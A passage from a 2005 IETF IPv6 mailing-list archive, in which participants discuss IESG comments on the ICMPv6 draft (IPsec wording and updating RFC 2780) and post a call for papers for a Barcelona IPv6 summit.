with esmtp (Exim 4.33) id 1D5LPi-0002N9-H0 for ipv6-web-archive@ietf.org; Sun, 27 Feb 2005 05:12:38 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5LMg-00048D-UI; Sun, 27 Feb 2005 05:09:30 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5LMe-000485-3j for ipv6@megatron.ietf.org; Sun, 27 Feb 2005 05:09:28 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA10231 for ; Sun, 27 Feb 2005 05:09:25 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5LN8-0002Iq-Nv for ipv6@ietf.org; Sun, 27 Feb 2005 05:10:00 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1RA9Aa00752; Sun, 27 Feb 2005 12:09:10 +0200 Date: Sun, 27 Feb 2005 12:09:10 +0200 (EET) From: Pekka Savola To: Mukesh.K.Gupta@nokia.com In-Reply-To: <8D260779A766FB4A9C1739A476F84FA401F79BCA@daebe009.americas.nokia.com> Message-ID: References: <8D260779A766FB4A9C1739A476F84FA401F79BCA@daebe009.americas.nokia.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 7aafa0432175920a4b3e118e16c5cb64 Cc: ipv6@ietf.org, mankin@psg.com Subject: RE: IESG Comments about ICMPv6 draft: Authentication and Confidentiality of ICMP messages X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f607d15ccc2bc4eaf3ade8ffa8af02a0 Hi, (Btw, maybe we could add "This document Updates RFC 2780." in the Introduction, satisfying Allison's that particular comment.) On Sun, 27 Feb 2005 Mukesh.K.Gupta@nokia.com wrote: >> Did you mean that the new ICMP RFC requires a configuration >> knob to be able to configure this behaviour (this is how >> I read 2401bis)? > > Sorry for not being clear. The current ICMPv6 draft says > that an implementation "MAY" provide a knob to control > this behavior (accept or reject the unauthenticated ICMPv6 > msgs). On the other hand, 2401bis says that an implementation > "MUST" provide a knob to control this behavior. Now that there is a document which describes how to deal with ICMPv6 and IPsec, this document should probably have as small amount of normative text on IPsec as possible. Some informal text, helping the ICMPv6 implementers to understand the IPsec processing issues, should be still OK. >> I don't see a problem there. In any case, it's a requirement >> for _IPsec_ implementors. > > If providing this knob is a requirement for ONLY IPsec > implementors, why are we mentioning it (as a MAY requirement) > in the ICMPv6 draft ? Let's remove the mention. [...] > Are you suggesting that the ICMPv6 draft should say that the > security related processing details are described in 2401bis > and put 2401bis as a informative reference. Yes, though it has to be worded carefully as not to be seen as a red flag. It should probably be stated like: "IPsec RFCs describe the IPsec processing, including ICMPv6 messages" instead of: "IPsec processing of ICMPv6 messages is described in IPsec RFCs" (IMHO, the latter may confuse the reader to think that IPsec processing of ICMPv6 messages should be described in _this_ spec and IPsec specs should be a normative reference.) -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 27 11:10:49 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09090 for ; Sun, 27 Feb 2005 11:10:49 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5R0x-0000LQ-4k for ipv6-web-archive@ietf.org; Sun, 27 Feb 2005 11:11:27 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5QyB-0004C9-7Z; Sun, 27 Feb 2005 11:08:35 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5Qy7-0004C2-Vv for ipv6@megatron.ietf.org; Sun, 27 Feb 2005 11:08:32 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08875 for ; Sun, 27 Feb 2005 11:08:29 -0500 (EST) Message-Id: <200502271608.LAA08875@ietf.org> Received: from psg.com ([147.28.0.62] ident=mailnull) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5Qyg-0000HQ-0p for ipv6@ietf.org; Sun, 27 Feb 2005 11:09:07 -0500 Received: from localhost ([127.0.0.1] helo=psg.com) by psg.com with esmtp (Exim 4.44 (FreeBSD)) id 1D5Qy5-000DWl-62; Sun, 27 Feb 2005 16:08:29 +0000 To: Mukesh.K.Gupta@nokia.com Date: Sun, 27 Feb 2005 08:08:26 -0800 From: Allison Mankin X-Spam-Score: 0.0 (/) X-Scan-Signature: 082a9cbf4d599f360ac7f815372a6a15 Cc: margaret@thingmagic.com, ipv6@ietf.org Subject: Re:IESG Comments about ICMPv6 draft: Obsoleting 2780 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.8 (/) X-Scan-Signature: f60d0f7806b0c40781eee6b9cd0b2135 Hi, Mukesh, I've answered you inline, in turn. > > I am trying to address the following comment of yours for > the ICMPv6 draft (draft-ietf-ipngwg-icmp-v3-06.txt). > > Please see my comments inline.. > > > The document includes a ref to RFC 2780 but never mentions it. > > In the IANA considerations, it needs to state that it obsoletes=20 > > 2780's IANA instructions on ICMPv6. > > Good catch. What about adding the following text in the IANA > Consideration section in the next rev ? > > This specification obsoletes 2780's IANA instructions for ICMPv6. > The IANA is requested to use the guidelines provided in this > specfication for assigning ICMPv6 type and code values as soon > as this specification is published as a RFC. This text is very good. > > > The RFC Editor needs to be told that this RFC updates 2780, > > Why do we need to tell this to RFC Editor ? and this draft > does not update the 2780 as a whole. It just updates the part > that talks about ICMP. Updating an RFC often means just updating a part. Iit's important for for someone who want to do a registry action about ICMPv6 and may look at RFC 2780. Because you tell RFC Editor that this spec updates RFC 2780, there will be a pointer in the index from RFC 2780 to this spec, guiding the person here. It's a help if someone is doing an RFC-index based search for how to register. > > > as well as obsoleting the previous ICMPv6 spec. > > We already have "This document obsoletes RFC 2463 [RFC-2463]." > line in the introduction of the current draft. Is it not > enough ? > My comment didn't mean you needed to add more statements about obsoleting RFC 2463 to the draft, just add the one fact to the other. And it would be good to ask your AD put the RFC obsoleted and RFC updated info in the writeup, so the RFC Editor doesn't have to dig it out of the spec. > > new IANA Considerations are great. We should make sure the > > loose ends are tied. > > We have tried to tie them all :) If you see any loose ends, > please let us know. > > Regards > Mukesh > > -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 27 14:41:34 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA25623 for ; Sun, 27 Feb 2005 14:41:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5UIu-0004Bg-RQ for ipv6-web-archive@ietf.org; Sun, 27 Feb 2005 14:42:13 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5UDX-0004H1-VB; Sun, 27 Feb 2005 14:36:39 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5UDT-0004Gh-Pv; Sun, 27 Feb 2005 14:36:35 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA24789; Sun, 27 Feb 2005 14:36:34 -0500 (EST) Received: from mail.consulintel.es ([213.172.48.142] helo=consulintel.es) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5UE3-00044R-O4; Sun, 27 Feb 2005 14:37:12 -0500 Received: from [10.10.10.100] ([217.126.187.160]) by consulintel.es (consulintel.es [127.0.0.1]) (MDaemon.PRO.v7.2.3.R) with ESMTP id md50000813143.msg; Sun, 27 Feb 2005 20:38:04 +0100 User-Agent: Microsoft-Entourage/11.1.0.040913 Date: Sun, 27 Feb 2005 20:35:47 +0100 From: JORDI PALET MARTINEZ To: "ietf@ietf.org" , "v6ops@ops.ietf.org" , "ipv6@ietf.org" , Message-ID: In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="ISO-8859-1" Content-transfer-encoding: quoted-printable X-MDRemoteIP: 217.126.187.160 X-Return-Path: jordi.palet@consulintel.es X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on mail.consulintel.es X-Spam-Status: No, hits=-3.2 required=5.0 tests=BAYES_00, NO_COST autolearn=no version=2.64 X-Spam-Processed: consulintel.es, Sun, 27 Feb 2005 20:38:09 +0100 X-MDAV-Processed: consulintel.es, Sun, 27 Feb 2005 20:38:09 +0100 X-Spam-Score: 3.9 (+++) X-Scan-Signature: 2ed806e2f53ff1a061ad4f97e00345ac Content-Transfer-Encoding: quoted-printable Subject: RV:Call for Papers - Next Global IPv6 Summit in Spain X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: jordi.palet@consulintel.es List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 3.9 (+++) X-Scan-Signature: 21bf7a2f1643ae0bf20c1e010766eb78 Content-Transfer-Encoding: quoted-printable Hi all, Several people requested an extension of the deadline for the submission of the short abstracts for their presentations. So we decided to extend the deadline until midnight of March 4th. Please make sure to not miss it this time. We only require a title for your presentation and 3-4 lines short abstract. The final agenda will be announced at the end of the following week. Regards, Jordi Hi all, As indicated in the email below, the next Global IPv6 Summit in Spain, the bigger IPv6 European event, in its 4th edition (after a very successful organization and broad international attendance in 2001, 2002 and 2003), will be organized this time in Barcelona, next June 2005, with a expected audience over 2.600 key decisions makers from ICT sectors. The main target of the event is business oriented talks, as well as talks oriented to policy makers, information/knowledge society, education and public sectors. This Call for Papers doesn't require that you submit a complete paper (which is welcome also), but instead, a short plain text abstract of your presentation topic, by email. Talks regarding deployment experiences, new services and applications will be of key interest for the expected attendance, and hence highly encouraged. We believe that key topics will be also those regarding: 1) IPv6 and business 2) IPv6 and Broadband 3) New IPv6-based services and applications 4) IPv6 and the Digital Home 5) IPv6 and Multimedia, Voice/Video applications 6) IPv6, Mobility, Wireless and 3G 7) IPv6 and Ambient Intelligence/Ubiquitous Computing/Distributed Systems 8) IPv6 and GRIDs 9) IPv6 and logistics, transport and eSafety 10) IPv6 for eHealth, eGoverment, eLearning and other "e-whatever" 11) IPv6 and gamming 12) IPv6 and peer-to-peer 13) IPv6 and security 14) IPv6 and Open Source 15) IPv6 and marketing/branding Also topics regarding Standards, Research, Development and Innovation experiences are welcome, including R&D projects results. The Agenda will be drafted early in March, so the dead-line for submitting your topic is only until 25th February, but as said only a short abstract is required. If you're interested in participating, or you have any special idea, even if your topic is not in the list above, please don't hesitate to contact me (jordi.palet@consulintel.es) ASAP, so we can work out any options. Regards, Jordi PS: Please, feel free to circulate this email among your contacts. ------ Mensaje reenviado De: JORDI PALET MARTINEZ Responder a: Fecha: Mon, 07 Feb 2005 18:25:42 +0100 Para: "members@ipv6forum.com" , Asunto: Next Global IPv6 Summit in Spain Hi all, As I already informed a few weeks ago, the next Global IPv6 Summit in Spain will be held this time in Barcelona next June (instead of Madrid in March as previously forecasted). This will happen starting on June 6th, with a tutorial in the morning, the opening ceremony in the afternoon, with some keynotes and then 2-3 days of IPv6 conference, depending on the success of the call for papers. If required we can extend our event up to Friday 10th (total 4 days, plus opening ceremony, plus half day tutorial). In this occasion, we will try a completely new model, integrating the IPv6 conference in a bigger event, more business oriented, even when technical sessions will be still present. The "umbrella" event is Internet Global Congress (IGC), with has been organized in Barcelona already during the 6 previous years. The Internet Global Congress, the leading Internet and New Technologies congress in Spain, is organized by the Fundaci=F3 Barcelona Digital, a non-profit organization, which also provides space for exhibition and delivers the IGC awards for Digital Innovation (aimed to students and professionals with embryonic Internet projects, aims to be a launch platform for all those people involved in research and innovation in the field of Internet and the New Technologies). IGC provides us all the infrastructure for organizing the Global IPv6 Summit track, and we only need to manage our own agenda, and consequently our own call for papers (see next email). They also they care about all the issues related to registration, proceedings and publicity, at no cost for us. We expect that this will be the bigger IPv6 event in Europe during 2005, with an expected attendance over 2.600 people, which of course, will be able to attend not just to the IPv6 track but also to other IT tracks (already depicted at http://www.igcweb.net, then click at Program). The attendance is mainly CTOs, CEOs and other key decision makers related to ICT, so its a very nice opportunity for IPv6 in Europe to meet a large audience which probably has not been in touch with IPv6 until now. I count with the support from all of you, and please do not hesitate to let me know any ideas that you may have to make an even more successful event that what for sure we will have in a so nice city as Barcelona. More information will be soon available at http://www.ipv6-es.com and http://www.igcweb.net. Regards, Jordi ------ Fin del mensaje reenviado ************************************ Barcelona 2005 Global IPv6 Summit Call for Papers and information available at: http://www.ipv6-es.com This electronic message contains information which may be privileged or confidential. The information is intended to be for the use of the individual(s) named above. If you are not the intended recipient be aware that any disclosure, copying, distribution or use of the contents of this information, including attached files, is prohibited. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 27 19:25:37 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18054 for ; Sun, 27 Feb 2005 19:25:37 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5Yjs-0000XB-4g for ipv6-web-archive@ietf.org; Sun, 27 Feb 2005 19:26:20 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5Ygx-0001Na-NS; Sun, 27 Feb 2005 19:23:19 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5Ygv-0001NS-8v for ipv6@megatron.ietf.org; Sun, 27 Feb 2005 19:23:17 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA17918 for ; Sun, 27 Feb 2005 19:23:14 -0500 (EST) From: Mukesh.K.Gupta@nokia.com Received: from mgw-x3.nokia.com ([131.228.20.26]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5YhV-0000Ua-SJ for ipv6@ietf.org; Sun, 27 Feb 2005 19:23:57 -0500 Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159]) by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1S0N6c29661; Mon, 28 Feb 2005 02:23:07 +0200 (EET) X-Scanned: Mon, 28 Feb 2005 02:22:45 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks004.ntc.nokia.com (8.12.9/8.12.9) id j1S0MjpF003386; Mon, 28 Feb 2005 02:22:45 +0200 Received: from mgw-int1.ntc.nokia.com (172.21.143.96) by esdks004.ntc.nokia.com 00AATvdQ; Mon, 28 Feb 2005 02:22:42 EET Received: from daebh002.NOE.Nokia.com (daebh002.americas.nokia.com [10.241.35.122]) by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1S0MdM20717; Mon, 28 Feb 2005 02:22:39 +0200 (EET) Received: from daebe102.NOE.Nokia.com ([10.241.35.115]) by daebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Sun, 27 Feb 2005 18:22:38 -0600 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Sun, 27 Feb 2005 18:22:38 -0600 Message-ID: <2334E6CC5C1FD34F90C1167EA4EBFE5B050178@daebe102.NOE.Nokia.com> Thread-Topic: IESG Comments about ICMPv6 draft: Obsoleting 2780 Thread-Index: AcUc5r1ub59j+GBRS2yt3+aBCtEC6AAQueXw To: X-OriginalArrivalTime: 28 Feb 2005 00:22:38.0921 (UTC) FILETIME=[9C12E390:01C51D2B] X-Spam-Score: 0.3 (/) X-Scan-Signature: cab78e1e39c4b328567edb48482b6a69 Content-Transfer-Encoding: quoted-printable Cc: margaret@thingmagic.com, ipv6@ietf.org Subject: RE: IESG Comments about ICMPv6 draft: Obsoleting 2780 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.3 (/) X-Scan-Signature: 8b431ad66d60be2d47c7bfeb879db82c Content-Transfer-Encoding: quoted-printable Allison, Thanks for the fast response. Please see my comments inline.. > > This specification obsoletes 2780's IANA instructions for ICMPv6. > > The IANA is requested to use the guidelines provided in this > > specfication for assigning ICMPv6 type and code values as soon > > as this specification is published as a RFC. >=20 > This text is very good. Good then I will add this to the next rev. > Updating an RFC often means just updating a part.=20 True but there is more to it in this particular case. See below. > it's important for > for someone who want to do a registry action about ICMPv6 and may > look at RFC 2780. Because you tell RFC Editor that this spec > updates RFC 2780, there will be a pointer in the index from > RFC 2780 to this spec, guiding the person here. It's a help > if someone is doing an RFC-index based search for how to register. RFC 2780 provides guidelines for more than ICMP (IPv4, IPv6, TCP, UDP) and this ICMPv6 draft updates only section 6 and 7=20 (ICMP). So will it not be wrong to say that this spec updates 2780. What if someone was looking to do a registry action about TCP and they looked at the index and looked at the note that 2780 has been updated by this spec and couldn't find guidelines for TCP in this spec ? Am I making my concern clear ? > My comment didn't mean you needed to add more statements > about obsoleting RFC 2463 to the draft, just add the one > fact to the other. And it would be good to ask your AD put > the RFC obsoleted and RFC updated info in the writeup, so the > RFC Editor doesn't have to dig it out of the spec. Margaret, could you please add this info to the writeup ? Regards Mukesh -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 27 19:37:41 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18826 for ; Sun, 27 Feb 2005 19:37:41 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5YvY-0000k0-ID for ipv6-web-archive@ietf.org; Sun, 27 Feb 2005 19:38:24 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5Yr1-00057d-AZ; Sun, 27 Feb 2005 19:33:43 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5Yqy-00057S-PY for ipv6@megatron.ietf.org; Sun, 27 Feb 2005 19:33:41 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18625 for ; Sun, 27 Feb 2005 19:33:37 -0500 (EST) From: Mukesh.K.Gupta@nokia.com Received: from mgw-x2.nokia.com ([131.228.20.22]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5Yrb-0000fc-Dv for ipv6@ietf.org; Sun, 27 Feb 2005 19:34:20 -0500 Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159]) by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1S0XYU01115; Mon, 28 Feb 2005 02:33:34 +0200 (EET) X-Scanned: Mon, 28 Feb 2005 02:33:12 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks004.ntc.nokia.com (8.12.9/8.12.9) id j1S0XCXH027357; Mon, 28 Feb 2005 02:33:12 +0200 Received: from mgw-int1.ntc.nokia.com (172.21.143.96) by esdks004.ntc.nokia.com 00y7ImHt; Mon, 28 Feb 2005 02:33:11 EET Received: from daebh001.NOE.Nokia.com (daebh001.americas.nokia.com [10.241.35.121]) by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1S0X8M29523; Mon, 28 Feb 2005 02:33:08 +0200 (EET) Received: from daebe102.NOE.Nokia.com ([10.241.35.115]) by daebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Sun, 27 Feb 2005 18:33:07 -0600 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Sun, 27 Feb 2005 18:33:07 -0600 Message-ID: <2334E6CC5C1FD34F90C1167EA4EBFE5B050179@daebe102.NOE.Nokia.com> Thread-Topic: IESG Comments about ICMPv6 draft: Authentication and Confidentiality of ICMP messages Thread-Index: AcUctILeVHstCLRwTPO/NXm+vqKORwAdynHA To: X-OriginalArrivalTime: 28 Feb 2005 00:33:07.0763 (UTC) FILETIME=[12E49030:01C51D2D] X-Spam-Score: 0.3 (/) X-Scan-Signature: 4d87d2aa806f79fed918a62e834505ca Content-Transfer-Encoding: quoted-printable Cc: ipv6@ietf.org, mankin@psg.com Subject: RE: IESG Comments about ICMPv6 draft: Authentication and Confidentiality of ICMP messages X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.3 (/) X-Scan-Signature: f4c2cf0bccc868e4cc88dace71fb3f44 Content-Transfer-Encoding: quoted-printable Pekka, Comments inline.. > (Btw, maybe we could add "This document Updates RFC 2780." in the=20 > Introduction, satisfying Allison's that particular comment.) Another thread going on about this. Please see my mail and respond to my comments :) > Now that there is a document which describes how to deal with ICMPv6=20 > and IPsec, this document should probably have as small amount of=20 > normative text on IPsec as possible. >=20 > Some informal text, helping the ICMPv6 implementers to understand the=20 > IPsec processing issues, should be still OK. I agree. The knob of whether unauthenticated ICMP packets should be accepted or dropped also falls under IPsec module while implementing. So why should ICMP implementors be worried about this. I will try to modify the text in that section so that it just provides information and points to the IPsec RFCs for detailed processing. > > If providing this knob is a requirement for ONLY IPsec > > implementors, why are we mentioning it (as a MAY requirement) > > in the ICMPv6 draft ? >=20 > Let's remove the mention. Yeah I also think that it should be removed. > Yes, though it has to be worded carefully as not to be seen as a red=20 > flag. It should probably be stated like: >=20 > "IPsec RFCs describe the IPsec processing, including ICMPv6=20 > messages" >=20 > instead of: >=20 > "IPsec processing of ICMPv6 messages is described in IPsec RFCs" >=20 > (IMHO, the latter may confuse the reader to think that IPsec=20 > processing of ICMPv6 messages should be described in _this_ spec and=20 > IPsec specs should be a normative reference.) Makes sense. I will keep this in mind while updating the text. Regards Mukesh -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 27 19:41:43 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA19174 for ; Sun, 27 Feb 2005 19:41:43 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5YzS-0000pU-7c for ipv6-web-archive@ietf.org; Sun, 27 Feb 2005 19:42:26 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5YxJ-0006x6-BE; Sun, 27 Feb 2005 19:40:13 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5YxH-0006vx-7Y for ipv6@megatron.ietf.org; Sun, 27 Feb 2005 19:40:11 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA19041 for ; Sun, 27 Feb 2005 19:40:08 -0500 (EST) Message-Id: <200502280040.TAA19041@ietf.org> Received: from psg.com ([147.28.0.62] ident=mailnull) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5Yxu-0000nG-5K for ipv6@ietf.org; Sun, 27 Feb 2005 19:40:51 -0500 Received: from localhost ([127.0.0.1] helo=psg.com) by psg.com with esmtp (Exim 4.44 (FreeBSD)) id 1D5YxE-000Lb8-Id; Mon, 28 Feb 2005 00:40:08 +0000 To: Mukesh.K.Gupta@nokia.com In-reply-to: Your message of Sun, 27 Feb 2005 18:22:38 -0600. <2334E6CC5C1FD34F90C1167EA4EBFE5B050178@daebe102.NOE.Nokia.com> Date: Sun, 27 Feb 2005 16:40:08 -0800 From: Allison Mankin X-Spam-Score: 0.0 (/) X-Scan-Signature: 21c69d3cfc2dd19218717dbe1d974352 Cc: margaret@thingmagic.com, ipv6@ietf.org, mankin@psg.com Subject: Re: IESG Comments about ICMPv6 draft: Obsoleting 2780 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: mankin@psg.com List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.8 (/) X-Scan-Signature: 0ddefe323dd869ab027dbfff7eff0465 Mukesh, Well, let me try again, we often have documents that update only part of the earlier document. In this case, we need people to know when the see RFC 2780 in the index that there is another RFC that modifies some of its content. If this isn't done, they'll pick up RFC 2780 and be misled into asking for the RFC 2780 rules for ICMPv6. This causes delay and problems until they get straightened out to get to the right rules for ICMPv6. If you look at the RFC Editor definition for Updates, it does not say how much of the RFC has to be updated (see below). > RFC 2780 provides guidelines for more than ICMP (IPv4, IPv6, > TCP, UDP) and this ICMPv6 draft updates only section 6 and 7=20 > (ICMP). So will it not be wrong to say that this spec updates > 2780. What if someone was looking to do a registry action > about TCP and they looked at the index and looked at the > note that 2780 has been updated by this spec and couldn't > find guidelines for TCP in this spec ? > > Am I making my concern clear ? > The RFC Editor has the following formal rule (in their almost approved draft-rfc-editor-rfc2223bis-08.txt) Updates Specifies an earlier document whose contents are modified or augmented by the new document. The new document cannot be used alone, it can only be used in conjunction with the earlier document. This says nothing about how much or how little of the earlier document the new document updates. Does this give you enough help on the update point? Margaret, this ok? Allison -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 27 20:48:52 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24305 for ; Sun, 27 Feb 2005 20:48:52 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5a2P-00021y-IW for ipv6-web-archive@ietf.org; Sun, 27 Feb 2005 20:49:34 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5ZwD-0001kh-J1; Sun, 27 Feb 2005 20:43:09 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5ZwB-0001kC-KC for ipv6@megatron.ietf.org; Sun, 27 Feb 2005 20:43:07 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA23706 for ; Sun, 27 Feb 2005 20:43:06 -0500 (EST) From: Mukesh.K.Gupta@nokia.com Received: from mgw-x3.nokia.com ([131.228.20.26]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5Zwo-0001tf-M1 for ipv6@ietf.org; Sun, 27 Feb 2005 20:43:48 -0500 Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158]) by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j1S1gvc18232; Mon, 28 